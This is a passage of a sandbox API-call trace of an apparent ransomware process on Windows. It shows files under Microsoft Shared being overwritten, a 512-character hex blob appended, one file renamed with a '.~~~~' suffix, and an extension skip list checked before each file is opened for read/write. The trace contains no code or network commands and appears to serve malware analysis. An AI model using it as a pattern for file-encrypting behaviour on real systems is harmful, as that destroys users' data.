	[0078.193] ReadFile (in: hFile=0x118, lpBuffer=0x283dfe0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesRead=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0078.231] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0078.231] WriteFile (in: hFile=0x118, lpBuffer=0x283dfe0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x283dfe0*, lpNumberOfBytesWritten=0x1f8fec0*=0x19000, lpOverlapped=0x0) returned 1
	[0078.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x283dfe0 | out: hHeap=0x300000) returned 1
	[0078.233] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0078.233] WriteFile (in: hFile=0x118, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0078.250] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0078.250] WriteFile (in: hFile=0x118, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0078.250] CloseHandle (hObject=0x118) returned 1
	[0078.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abab0
	[0078.251] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\WPGIMP32.FLT.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\wpgimp32.flt.~~~~")) returned 1
	[0078.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abab0 | out: hHeap=0x300000) returned 1
	[0078.251] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0078.251] GetLastError () returned 0x0
	[0078.251] RtlWakeConditionVariable () returned 0x365f70
	[0078.251] GetCurrentThreadId () returned 0xaf0
	[0078.252] GetCurrentThreadId () returned 0xaf0
	[0078.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3ae0
	[0078.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e3f0 | out: hHeap=0x300000) returned 1
	[0078.252] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9d00 | out: hHeap=0x300000) returned 1
	[0078.252] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b36f8
	[0078.252] lstrlenW (lpString=".scr") returned 4
	[0078.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui", lpSrch=".scr") returned 0x0
	[0078.252] lstrlenW (lpString=".cmd") returned 4
	[0078.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui", lpSrch=".cmd") returned 0x0
	[0078.252] lstrlenW (lpString=".dll") returned 4
	[0078.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui", lpSrch=".dll") returned 0x0
	[0078.252] lstrlenW (lpString=".bat") returned 4
	[0078.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui", lpSrch=".bat") returned 0x0
	[0078.252] lstrlenW (lpString=".cpl") returned 4
	[0078.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui", lpSrch=".cpl") returned 0x0
	[0078.252] lstrlenW (lpString=".sys") returned 4
	[0078.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui", lpSrch=".sys") returned 0x0
	[0078.252] lstrlenW (lpString=".msc") returned 4
	[0078.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui", lpSrch=".msc") returned 0x0
	[0078.252] lstrlenW (lpString=".com") returned 4
	[0078.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui", lpSrch=".com") returned 0x0
	[0078.252] lstrlenW (lpString=".lnk") returned 4
	[0078.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui", lpSrch=".lnk") returned 0x0
	[0078.252] lstrlenW (lpString=".msp") returned 4
	[0078.252] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui", lpSrch=".msp") returned 0x0
	[0078.252] lstrlenW (lpString=".pif") returned 4
	[0078.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui", lpSrch=".pif") returned 0x0
	[0078.253] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.253] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.253] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\FlickLearningWizard.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\flicklearningwizard.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b36f8 | out: hHeap=0x300000) returned 1
	[0078.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3ae0 | out: hHeap=0x300000) returned 1
	[0078.258] RtlWakeConditionVariable () returned 0x365f70
	[0078.258] GetCurrentThreadId () returned 0xaf0
	[0078.258] GetCurrentThreadId () returned 0xaf0
	[0078.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b3ae0
	[0078.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e4b8 | out: hHeap=0x300000) returned 1
	[0078.258] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9da8 | out: hHeap=0x300000) returned 1
	[0078.258] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xc0) returned 0x3b36f8
	[0078.258] lstrlenW (lpString=".scr") returned 4
	[0078.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui", lpSrch=".scr") returned 0x0
	[0078.258] lstrlenW (lpString=".cmd") returned 4
	[0078.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui", lpSrch=".cmd") returned 0x0
	[0078.258] lstrlenW (lpString=".dll") returned 4
	[0078.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui", lpSrch=".dll") returned 0x0
	[0078.258] lstrlenW (lpString=".bat") returned 4
	[0078.258] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui", lpSrch=".bat") returned 0x0
	[0078.259] lstrlenW (lpString=".cpl") returned 4
	[0078.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui", lpSrch=".cpl") returned 0x0
	[0078.259] lstrlenW (lpString=".sys") returned 4
	[0078.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui", lpSrch=".sys") returned 0x0
	[0078.259] lstrlenW (lpString=".msc") returned 4
	[0078.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui", lpSrch=".msc") returned 0x0
	[0078.259] lstrlenW (lpString=".com") returned 4
	[0078.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui", lpSrch=".com") returned 0x0
	[0078.259] lstrlenW (lpString=".lnk") returned 4
	[0078.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui", lpSrch=".lnk") returned 0x0
	[0078.259] lstrlenW (lpString=".msp") returned 4
	[0078.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui", lpSrch=".msp") returned 0x0
	[0078.259] lstrlenW (lpString=".pif") returned 4
	[0078.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui", lpSrch=".pif") returned 0x0
	[0078.259] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.259] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.259] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\InputPersonalization.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\inputpersonalization.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b36f8 | out: hHeap=0x300000) returned 1
	[0078.260] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b3ae0 | out: hHeap=0x300000) returned 1
	[0078.260] RtlWakeConditionVariable () returned 0x365f70
	[0078.260] GetCurrentThreadId () returned 0xaf0
	[0078.260] GetCurrentThreadId () returned 0xaf0
	[0078.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a58b8 | out: hHeap=0x300000) returned 1
	[0078.261] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9de0 | out: hHeap=0x300000) returned 1
	[0078.261] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a58b8
	[0078.261] lstrlenW (lpString=".scr") returned 4
	[0078.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui", lpSrch=".scr") returned 0x0
	[0078.261] lstrlenW (lpString=".cmd") returned 4
	[0078.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.261] lstrlenW (lpString=".dll") returned 4
	[0078.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.261] lstrlenW (lpString=".dll.mui") returned 8
	[0078.261] lstrlenW (lpString=".bat") returned 4
	[0078.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui", lpSrch=".bat") returned 0x0
	[0078.261] lstrlenW (lpString=".cpl") returned 4
	[0078.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.261] lstrlenW (lpString=".sys") returned 4
	[0078.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui", lpSrch=".sys") returned 0x0
	[0078.261] lstrlenW (lpString=".msc") returned 4
	[0078.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui", lpSrch=".msc") returned 0x0
	[0078.261] lstrlenW (lpString=".com") returned 4
	[0078.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui", lpSrch=".com") returned 0x0
	[0078.261] lstrlenW (lpString=".lnk") returned 4
	[0078.261] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.261] lstrlenW (lpString=".msp") returned 4
	[0078.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui", lpSrch=".msp") returned 0x0
	[0078.262] lstrlenW (lpString=".pif") returned 4
	[0078.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui", lpSrch=".pif") returned 0x0
	[0078.262] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.262] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IPSEventLogMsg.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipseventlogmsg.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a58b8 | out: hHeap=0x300000) returned 1
	[0078.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.262] RtlWakeConditionVariable () returned 0x365f70
	[0078.262] GetCurrentThreadId () returned 0xaf0
	[0078.262] GetCurrentThreadId () returned 0xaf0
	[0078.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0078.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5970 | out: hHeap=0x300000) returned 1
	[0078.262] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9e18 | out: hHeap=0x300000) returned 1
	[0078.262] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5970
	[0078.262] lstrlenW (lpString=".scr") returned 4
	[0078.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui", lpSrch=".scr") returned 0x0
	[0078.262] lstrlenW (lpString=".cmd") returned 4
	[0078.262] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.263] lstrlenW (lpString=".dll") returned 4
	[0078.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.263] lstrlenW (lpString=".dll.mui") returned 8
	[0078.263] lstrlenW (lpString=".bat") returned 4
	[0078.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui", lpSrch=".bat") returned 0x0
	[0078.263] lstrlenW (lpString=".cpl") returned 4
	[0078.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.263] lstrlenW (lpString=".sys") returned 4
	[0078.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui", lpSrch=".sys") returned 0x0
	[0078.263] lstrlenW (lpString=".msc") returned 4
	[0078.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui", lpSrch=".msc") returned 0x0
	[0078.263] lstrlenW (lpString=".com") returned 4
	[0078.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui", lpSrch=".com") returned 0x0
	[0078.263] lstrlenW (lpString=".lnk") returned 4
	[0078.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.263] lstrlenW (lpString=".msp") returned 4
	[0078.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui", lpSrch=".msp") returned 0x0
	[0078.263] lstrlenW (lpString=".pif") returned 4
	[0078.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui", lpSrch=".pif") returned 0x0
	[0078.263] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.263] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5970 | out: hHeap=0x300000) returned 1
	[0078.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5018 | out: hHeap=0x300000) returned 1
	[0078.264] RtlWakeConditionVariable () returned 0x365f70
	[0078.264] GetCurrentThreadId () returned 0xaf0
	[0078.264] GetCurrentThreadId () returned 0xaf0
	[0078.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a7980
	[0078.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8db0 | out: hHeap=0x300000) returned 1
	[0078.264] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9e50 | out: hHeap=0x300000) returned 1
	[0078.264] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8db0
	[0078.264] lstrlenW (lpString=".scr") returned 4
	[0078.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi", lpSrch=".scr") returned 0x0
	[0078.264] lstrlenW (lpString=".cmd") returned 4
	[0078.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi", lpSrch=".cmd") returned 0x0
	[0078.264] lstrlenW (lpString=".dll") returned 4
	[0078.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi", lpSrch=".dll") returned 0x0
	[0078.264] lstrlenW (lpString=".bat") returned 4
	[0078.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi", lpSrch=".bat") returned 0x0
	[0078.264] lstrlenW (lpString=".cpl") returned 4
	[0078.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi", lpSrch=".cpl") returned 0x0
	[0078.264] lstrlenW (lpString=".sys") returned 4
	[0078.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi", lpSrch=".sys") returned 0x0
	[0078.264] lstrlenW (lpString=".msc") returned 4
	[0078.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi", lpSrch=".msc") returned 0x0
	[0078.264] lstrlenW (lpString=".com") returned 4
	[0078.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi", lpSrch=".com") returned 0x0
	[0078.264] lstrlenW (lpString=".lnk") returned 4
	[0078.264] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi", lpSrch=".lnk") returned 0x0
	[0078.265] lstrlenW (lpString=".msp") returned 4
	[0078.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi", lpSrch=".msp") returned 0x0
	[0078.265] lstrlenW (lpString=".pif") returned 4
	[0078.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi", lpSrch=".pif") returned 0x0
	[0078.265] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi", lpSrch="msp\r\n.pif") returned 0x0
	[0078.265] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8db0 | out: hHeap=0x300000) returned 1
	[0078.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a7980 | out: hHeap=0x300000) returned 1
	[0078.265] RtlWakeConditionVariable () returned 0x365f70
	[0078.265] GetCurrentThreadId () returned 0xaf0
	[0078.265] GetCurrentThreadId () returned 0xaf0
	[0078.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abdf8
	[0078.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abff0 | out: hHeap=0x300000) returned 1
	[0078.265] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9e88 | out: hHeap=0x300000) returned 1
	[0078.265] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abff0
	[0078.265] lstrlenW (lpString=".scr") returned 4
	[0078.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui", lpSrch=".scr") returned 0x0
	[0078.265] lstrlenW (lpString=".cmd") returned 4
	[0078.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui", lpSrch=".cmd") returned 0x0
	[0078.265] lstrlenW (lpString=".dll") returned 4
	[0078.265] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui", lpSrch=".dll") returned=".dll.mui"
	[0078.265] lstrlenW (lpString=".dll.mui") returned 8
	[0078.266] lstrlenW (lpString=".bat") returned 4
	[0078.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui", lpSrch=".bat") returned 0x0
	[0078.266] lstrlenW (lpString=".cpl") returned 4
	[0078.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui", lpSrch=".cpl") returned 0x0
	[0078.266] lstrlenW (lpString=".sys") returned 4
	[0078.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui", lpSrch=".sys") returned 0x0
	[0078.266] lstrlenW (lpString=".msc") returned 4
	[0078.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui", lpSrch=".msc") returned 0x0
	[0078.266] lstrlenW (lpString=".com") returned 4
	[0078.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui", lpSrch=".com") returned 0x0
	[0078.266] lstrlenW (lpString=".lnk") returned 4
	[0078.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui", lpSrch=".lnk") returned 0x0
	[0078.266] lstrlenW (lpString=".msp") returned 4
	[0078.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui", lpSrch=".msp") returned 0x0
	[0078.266] lstrlenW (lpString=".pif") returned 4
	[0078.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui", lpSrch=".pif") returned 0x0
	[0078.266] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0078.266] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui", lpSrch="msp\r\n.pif") returned 0x0
	[0078.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0078.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abff0 | out: hHeap=0x300000) returned 1
	[0078.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3abdf8 | out: hHeap=0x300000) returned 1
	[0078.267] RtlWakeConditionVariable () returned 0x365f70
	[0078.267] GetCurrentThreadId () returned 0xaf0
	[0078.267] GetCurrentThreadId () returned 0xaf0
	[0078.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3abdf8
	[0078.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ac098 | out: hHeap=0x300000) returned 1
	[0078.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a9ec0 | out: hHeap=0x300000) returned 1
	[0078.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3ac098
	[0078.267] lstrlenW (lpString=".scr") returned 4
	[0078.267] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui", lpSrch=".scr") returned 0x0
	[0078.268] lstrlenW (lpString=".cmd") returned 4
